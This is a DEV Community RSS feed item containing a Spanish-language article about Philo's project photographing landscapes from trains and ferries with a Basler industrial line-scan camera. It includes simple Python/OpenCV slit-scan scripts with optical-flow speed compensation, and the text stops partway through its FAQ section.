<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: lu1tr0n</title>
    <description>The latest articles on DEV Community by lu1tr0n (@lu1tr0n).</description>
    <link>https://dev.to/lu1tr0n</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F806044%2F070ecfe6-05a6-44e1-95e3-81211fc13ab4.png</url>
      <title>DEV Community: lu1tr0n</title>
      <link>https://dev.to/lu1tr0n</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/lu1tr0n"/>
    <language>en</language>
    <item>
      <title>Basler ruL2048-19gm: escanea 19.000 líneas por segundo desde un tren</title>
      <dc:creator>lu1tr0n</dc:creator>
      <pubDate>Tue, 18 Aug 2026 14:23:31 +0000</pubDate>
      <link>https://dev.to/lu1tr0n/basler-rul2048-19gm-escanea-19000-lineas-por-segundo-desde-un-tren-cnd</link>
      <guid>https://dev.to/lu1tr0n/basler-rul2048-19gm-escanea-19000-lineas-por-segundo-desde-un-tren-cnd</guid>
      <description>&lt;p&gt;Un tren no es un escáner, pero eso no impidió que un desarrollador convirtiera uno en uno. &lt;strong&gt;Philo&lt;/strong&gt; pasó los últimos meses apuntando una cámara de escaneo lineal industrial por la ventana de trenes y ferris para capturar fotografías panorámicas de decenas de miles de píxeles de ancho, y el resultado lo presentó como charla en &lt;a href="https://www.emfcamp.org" rel="noopener noreferrer"&gt;EMFcamp 2026&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;El proyecto, documentado en detalle en &lt;a href="https://philo.gay/linecam/" rel="noopener noreferrer"&gt;su blog personal&lt;/a&gt; el 17 de agosto de 2026, resuelve un problema que las cámaras digitales convencionales no pueden: producir una imagen continua y de altísima resolución de un paisaje completo, línea por línea, mientras el vehículo se mueve a velocidad variable.&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Philo construyó una cámara de escaneo lineal industrial para fotografiar trenes y ferris, publicado el 17 de agosto de 2026 en philo.gay.- La cámara usada es la Basler ruL2048-19gm, diseñada para inspeccionar cintas transportadoras industriales.- El sensor lee una línea de 1x2048 píxeles hasta cerca de 19.000 veces por segundo.- Una imagen tomada en el ferri de San Francisco a Oakland en febrero de 2026 midió 56.894x2.048 píxeles en escala de grises.- El precio de lista del modelo más básico de Basler ronda los 700 dólares; Philo la consiguió usada en eBay por un décimo de ese precio.- El proyecto se presentó como charla en EMFcamp 2026, el congreso hacker bienal del Reino Unido.- Los primeros prototipos usaron un teléfono grabando video, extrayendo una columna de cada cuadro (técnica heredada de los años 90).- El mayor desafío técnico fue medir la velocidad exacta del vehículo: los datos de acelerómetro resultaron demasiado ruidosos.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Introducción
&lt;/h2&gt;

&lt;p&gt;Fotografiar un paisaje completo desde la ventana de un tren normalmente significa elegir un solo instante: la cámara del teléfono captura un fotograma y listo. El proyecto de Philo invierte esa lógica: en vez de congelar un instante, registra el recorrido completo como una sola imagen continua, línea por línea, usando el mismo principio que empleaban los escáneres de documentos de escritorio, pero aplicado a kilómetros de vía férrea en vez de una hoja de papel.&lt;/p&gt;

&lt;p&gt;El resultado son fotografías que no se parecen a nada que produzca una cámara convencional: extremadamente anchas, de aspecto casi cartográfico, donde cada segmento horizontal corresponde a un tramo distinto del trayecto real.&lt;/p&gt;

&lt;h2&gt;
  
  
  Qué pasó
&lt;/h2&gt;

&lt;p&gt;Philo lleva desde finales del año pasado experimentando con cámaras de escaneo lineal (line-scan cameras), sensores industriales que en vez de capturar un fotograma completo leen una única línea de píxeles muchas veces por segundo. Apuntada por la ventanilla de un tren o un ferri en movimiento, cada línea capturada corresponde a una franja distinta del paisaje. Si se capturan y se unen suficientes líneas por segundo, el resultado es una imagen continua que recorre kilómetros de recorrido en una sola toma.&lt;/p&gt;

&lt;p&gt;El ejemplo que Philo usa para mostrar el resultado es una imagen tomada en el ferri que conecta San Francisco con Oakland en febrero de 2026: una fotografía en escala de grises de &lt;strong&gt;56.894x2.048 píxeles&lt;/strong&gt;, según describe en &lt;a href="https://philo.gay/linecam/" rel="noopener noreferrer"&gt;el artículo original&lt;/a&gt;. Para dimensionar esa cifra: una pantalla 4K mide apenas 3.840 píxeles de ancho, así que la imagen del ferri equivale a casi 15 pantallas 4K puestas una junto a otra.&lt;br&gt;
Cada línea capturada corresponde a un instante distinto del recorrido.&lt;/p&gt;
&lt;h2&gt;
  
  
  Contexto e historia
&lt;/h2&gt;

&lt;p&gt;La idea de mover un solo sensor lineal para construir una imagen grande no es nueva. En los años 90, cuando los sensores digitales todavía no alcanzaban la resolución del formato medio o grande en película, la industria fotográfica desarrolló los llamados dorsos de escaneo digital (scanning backs): dispositivos que movían una sola línea de píxeles, o tres para color, a lo largo del plano focal de una cámara de gran formato. Esa técnica evitaba construir un sensor gigante y sigue siendo, décadas después, más barata que fabricar un sensor grande de una sola pieza: hoy existen sensores que cubren el formato 4x5 pulgadas, pero son caros.&lt;/p&gt;

&lt;p&gt;Philo quería construir su propio dorso de escaneo para su cámara de gran formato, pero nunca se animó por lo complicado de montarlo mecánicamente. La idea que terminó desbloqueando el proyecto llegó al ver un video sobre la cámara de escaneo de formato medio de Gigawipf: &lt;em&gt;¿y si en vez de mover una parte de la cámara, se mueve la cámara entera y el sujeto se queda quieto?&lt;/em&gt;. De ahí nació el concepto de apuntar el sensor lineal por la ventana de un vehículo en movimiento en vez de moverlo dentro de una cámara fija.&lt;/p&gt;

&lt;p&gt;No es el primer intento de este tipo. Philo cita varios antecedentes: el Scannoramic project, el experimento de John Hikerbiker, la técnica de Daniel Lawrence Lu de invertir una cámara estacionaria y las fotografías en película de Martin Liebscher. Su objetivo fue mejorar esos resultados tomando en cuenta la velocidad real del movimiento, para evitar que la imagen final saliera deformada.&lt;/p&gt;
&lt;h2&gt;
  
  
  Detalles técnicos: cómo funciona la cámara de escaneo lineal
&lt;/h2&gt;

&lt;p&gt;El primer prototipo fue literalmente un sofá. Philo puso su teléfono sobre una silla de oficina, lo empujó lentamente mientras grababa video, y con un script extraía la columna más a la izquierda (un &lt;em&gt;slit&lt;/em&gt;) de cada cuadro para combinarlas en una sola imagen. El resultado se veía vagamente como un sofá, pero deformado, porque la velocidad de empuje no era constante. Esa fue la primera señal de que el problema central del proyecto no era óptico sino de &lt;strong&gt;medir la velocidad con precisión&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;El segundo intento fue en la línea naranja del metro de Boston (MBTA): un teléfono viejo pegado al asiento capturaba datos del acelerómetro mientras otro grababa video a 60 cuadros por segundo contra la ventana. Integrar la aceleración para obtener velocidad resultó demasiado ruidoso: en un punto los datos indicaban que el tren se movía hacia atrás al final del trayecto, algo que evidentemente no pasó.&lt;/p&gt;

&lt;p&gt;Para tener más líneas por segundo que un teléfono, Philo terminó comprando una &lt;strong&gt;Basler ruL2048-19gm&lt;/strong&gt;, una cámara de escaneo lineal industrial diseñada para inspeccionar objetos sobre cintas transportadoras a alta velocidad. Su sensor de 1x2048 píxeles se puede leer hasta cerca de &lt;strong&gt;19.000 veces por segundo&lt;/strong&gt;, según &lt;a href="https://philo.gay/linecam/" rel="noopener noreferrer"&gt;documenta Philo&lt;/a&gt;. Ese ritmo de captura es lo que permite construir imágenes nítidas incluso cuando el tren avanza rápido: a más velocidad del vehículo, más líneas por segundo hacen falta para no perder detalle.&lt;/p&gt;

&lt;p&gt;Comprar una de estas cámaras nueva no es barato: el modelo de gama más baja de &lt;a href="https://www.baslerweb.com" rel="noopener noreferrer"&gt;Basler&lt;/a&gt; ronda los &lt;strong&gt;700 dólares&lt;/strong&gt;. Philo consiguió la suya en eBay por cerca de &lt;strong&gt;un décimo de ese precio&lt;/strong&gt;, evitando además el problema de los dorsos de escaneo de los 90, que siguen costando miles de dólares y requieren reconstruir un entorno de cómputo de época para operarlos.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;flowchart TD
    A["Sensor lineal 1x2048px"] --&amp;gt; B["Buffer de lineas"]
    B --&amp;gt; C["Estimacion de velocidad"]
    C --&amp;gt; D["Duplicar o descartar columnas"]
    D --&amp;gt; E["Imagen panoramica final"]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Cómo empezar o probarlo
&lt;/h2&gt;

&lt;p&gt;No hace falta una cámara industrial de 700 dólares para experimentar con el concepto: la misma técnica de slit-scan que Philo usó en su primer prototipo con el sofá se puede reproducir con Python, una laptop y cualquier cámara que grabe video. La idea es la misma: tomar una sola columna de cada cuadro de un video y pegarlas una al lado de la otra.&lt;/p&gt;

&lt;p&gt;Primero, instalá las dependencias. En los tres sistemas operativos el paquete es el mismo (&lt;code&gt;opencv-python&lt;/code&gt; y &lt;code&gt;numpy&lt;/code&gt;), solo cambia cómo se activa el entorno virtual:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Windows (PowerShell)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-m&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;venv&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;venv&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;venv\Scripts\Activate.ps1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;pip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;install&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;opencv-python&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;numpy&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# macOS / Linux (bash)&lt;/span&gt;
python3 &lt;span class="nt"&gt;-m&lt;/span&gt; venv venv
&lt;span class="nb"&gt;source &lt;/span&gt;venv/bin/activate
pip &lt;span class="nb"&gt;install &lt;/span&gt;opencv-python numpy
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;El script mínimo abre un video, extrae la columna central de cada cuadro y las va apilando en una imagen nueva:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;cv2&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;numpy&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;

&lt;span class="n"&gt;captura&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;VideoCapture&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;paseo_en_tren.mp4&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;columnas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cuadro&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;captura&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;
    &lt;span class="n"&gt;alto&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ancho&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cuadro&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;shape&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;columna_central&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cuadro&lt;/span&gt;&lt;span class="p"&gt;[:,&lt;/span&gt; &lt;span class="n"&gt;ancho&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;columnas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;columna_central&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;imagen_slitscan&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;columnas&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;axis&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;imwrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;slitscan_basico.png&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;imagen_slitscan&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ese script produce una imagen deformada si la velocidad del vehículo no es constante, exactamente el problema que Philo encontró con el sofá. Una versión más realista compensa la velocidad duplicando u omitiendo columnas según qué tan rápido se mueve el vehículo en cada instante, usando el flujo óptico entre cuadros consecutivos para estimarla:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;cv2&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;numpy&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;

&lt;span class="n"&gt;captura&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;VideoCapture&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;paseo_en_tren.mp4&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cuadro_anterior&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;captura&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;gris_anterior&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cvtColor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cuadro_anterior&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;COLOR_BGR2GRAY&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;columnas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cuadro&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;captura&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;
    &lt;span class="n"&gt;gris&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cvtColor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cuadro&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;COLOR_BGR2GRAY&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;flujo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;calcOpticalFlowFarneback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;gris_anterior&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;gris&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;1.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;velocidad_horizontal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;mean&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flujo&lt;/span&gt;&lt;span class="p"&gt;[:,&lt;/span&gt; &lt;span class="p"&gt;:,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="n"&gt;repeticiones&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;round&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;abs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;velocidad_horizontal&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;

    &lt;span class="n"&gt;ancho&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cuadro&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;shape&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;columna_central&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cuadro&lt;/span&gt;&lt;span class="p"&gt;[:,&lt;/span&gt; &lt;span class="n"&gt;ancho&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;repeticiones&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;columnas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;columna_central&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;gris_anterior&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;gris&lt;/span&gt;

&lt;span class="n"&gt;imagen_compensada&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;columnas&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;axis&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;imwrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;slitscan_compensado.png&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;imagen_compensada&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Para confirmar que la compensación funciona, medí en píxeles el ancho de un objeto que se repite a lo largo del trayecto, como un poste de luz o un cruce de vías: si ese ancho se mantiene razonablemente constante en toda la imagen, la velocidad estimada es correcta; si varía mucho, hay que ajustar los parámetros de &lt;code&gt;calcOpticalFlowFarneback&lt;/code&gt;.&lt;br&gt;
EnfoqueCuándo usarloVentajaLimitaciónTeléfono + script básicoPara probar el concepto sin gastar nadaCero inversión, listo en minutosSe deforma si la velocidad no es constanteTeléfono + flujo ópticoPara resultados presentables desde un bus o autoCompensa cambios de velocidad automáticamenteSigue limitado a los cuadros por segundo del teléfonoCámara Basler ruL2048-19gmPara imágenes nítidas a alta velocidad, como en un trenHasta 19.000 líneas por segundoRequiere hardware dedicado y montaje mecánicoUna sola pasada del tren genera una imagen de decenas de miles de píxeles de largo.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;💡 Tip:&lt;/strong&gt; si probás esto vos mismo, grabá contra una ventana limpia y en un tramo del recorrido sin curvas ni frenadas bruscas: los cambios de velocidad son, por lejos, la principal fuente de distorsión en cualquier imagen de escaneo lineal.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Impacto y análisis
&lt;/h2&gt;

&lt;p&gt;Lo interesante del proyecto de Philo no es solo el resultado visual, sino la reutilización de hardware industrial fuera de su propósito original. La Basler ruL2048-19gm existe para control de calidad en líneas de producción, no para fotografía artística, y su disponibilidad en el mercado de segunda mano, retirada de fábricas que actualizan sus equipos, la vuelve accesible a un precio muy inferior al de un dorso de escaneo digital vintage.&lt;/p&gt;

&lt;p&gt;También es un recordatorio de que buena parte del trabajo en proyectos de captura de imagen no está en el sensor sino en el post-procesamiento: sincronizar la velocidad de lectura de líneas con la velocidad real del vehículo es, según el propio relato de Philo, la parte que más tiempo le llevó resolver, muy por encima de conseguir o montar la cámara.&lt;/p&gt;

&lt;p&gt;Philo no fue la única persona presentando este tipo de proyecto en EMFcamp 2026: Tim Jacobs, conocido como &lt;em&gt;mitxela&lt;/em&gt;, dio una charla paralela sobre cámaras de escaneo lineal, aunque con un enfoque distinto, generando animaciones psicodélicas al recorrer todas las posiciones posibles de una franja dentro de un video en vez de fotografías fijas de paisajes reales.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;📌 Nota:&lt;/strong&gt; el propio Philo cuenta que se preocupó al ver la charla de mitxela en la agenda de EMFcamp, temiendo que ambos hubieran hecho exactamente lo mismo. Los dos proyectos resultaron ser complementarios, no duplicados.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Qué sigue
&lt;/h2&gt;

&lt;p&gt;Philo mantiene una &lt;a href="https://philo.gay/linecam/" rel="noopener noreferrer"&gt;galería&lt;/a&gt; con más resultados del proyecto, incluida la imagen completa de un puerto de contenedores y la del ferri de San Francisco a Oakland. El artículo original, de unas 4.600 palabras, detalla además la construcción mecánica del soporte de la cámara y el pipeline de post-procesamiento completo, información útil para cualquiera que quiera replicar el proyecto con su propio hardware.&lt;/p&gt;

&lt;p&gt;La charla de EMFcamp 2026 quedó grabada en video y está enlazada desde el mismo artículo, para quienes prefieran ver el proceso explicado paso a paso en vez de leerlo.&lt;/p&gt;

&lt;p&gt;📖 Resumen en Telegram: Ver resumen&lt;/p&gt;

&lt;p&gt;Probalo vos: clonate el script con flujo óptico de arriba, grabá un video corto desde la ventana de un bus y compará el resultado contra el script básico sin compensación.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preguntas frecuentes
&lt;/h2&gt;

&lt;h3&gt;
  
  
  ¿Qué es una cámara de escaneo lineal?
&lt;/h3&gt;

&lt;p&gt;Es un sensor que en vez de capturar un fotograma completo captura una sola línea de píxeles, muchas veces por segundo. Se usa normalmente en inspección industrial, donde el objeto, por ejemplo algo sobre una cinta transportadora, se mueve frente al sensor fijo.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Por qué las imágenes de este proyecto son tan anchas?
&lt;/h3&gt;

&lt;p&gt;Porque cada línea capturada por el sensor corresponde a un instante distinto del recorrido. Cuantas más líneas por segundo se capturen y más dure el trayecto, más larga resulta la imagen final, hasta llegar a decenas de miles de píxeles como en el ejemplo del ferri de San Francisco a Oakland.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Cuál es la principal dificultad técnica de este tipo de fotografía?
&lt;/h3&gt;

&lt;p&gt;Medir con precisión la velocidad del vehículo en cada instante. Si la velocidad varía y no se compensa, la imagen final sale estirada o comprimida en las zonas donde el vehículo aceleró o frenó.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Se puede probar esta técnica sin comprar una cámara industrial?
&lt;/h3&gt;

&lt;p&gt;Sí. El propio autor del proyecto empezó grabando video con un teléfono y extrayendo una columna de cada cuadro con un script casero, la misma técnica que se puede reproducir con Python y OpenCV.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Dónde se presentó este proyecto?
&lt;/h3&gt;

&lt;p&gt;En EMFcamp 2026, un congreso hacker que se realiza cada dos años en Reino Unido, donde Philo dio una charla explicando el proceso completo de construcción y las fallas de los primeros prototipos.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Cuánto cuesta una cámara como la que usó Philo?
&lt;/h3&gt;

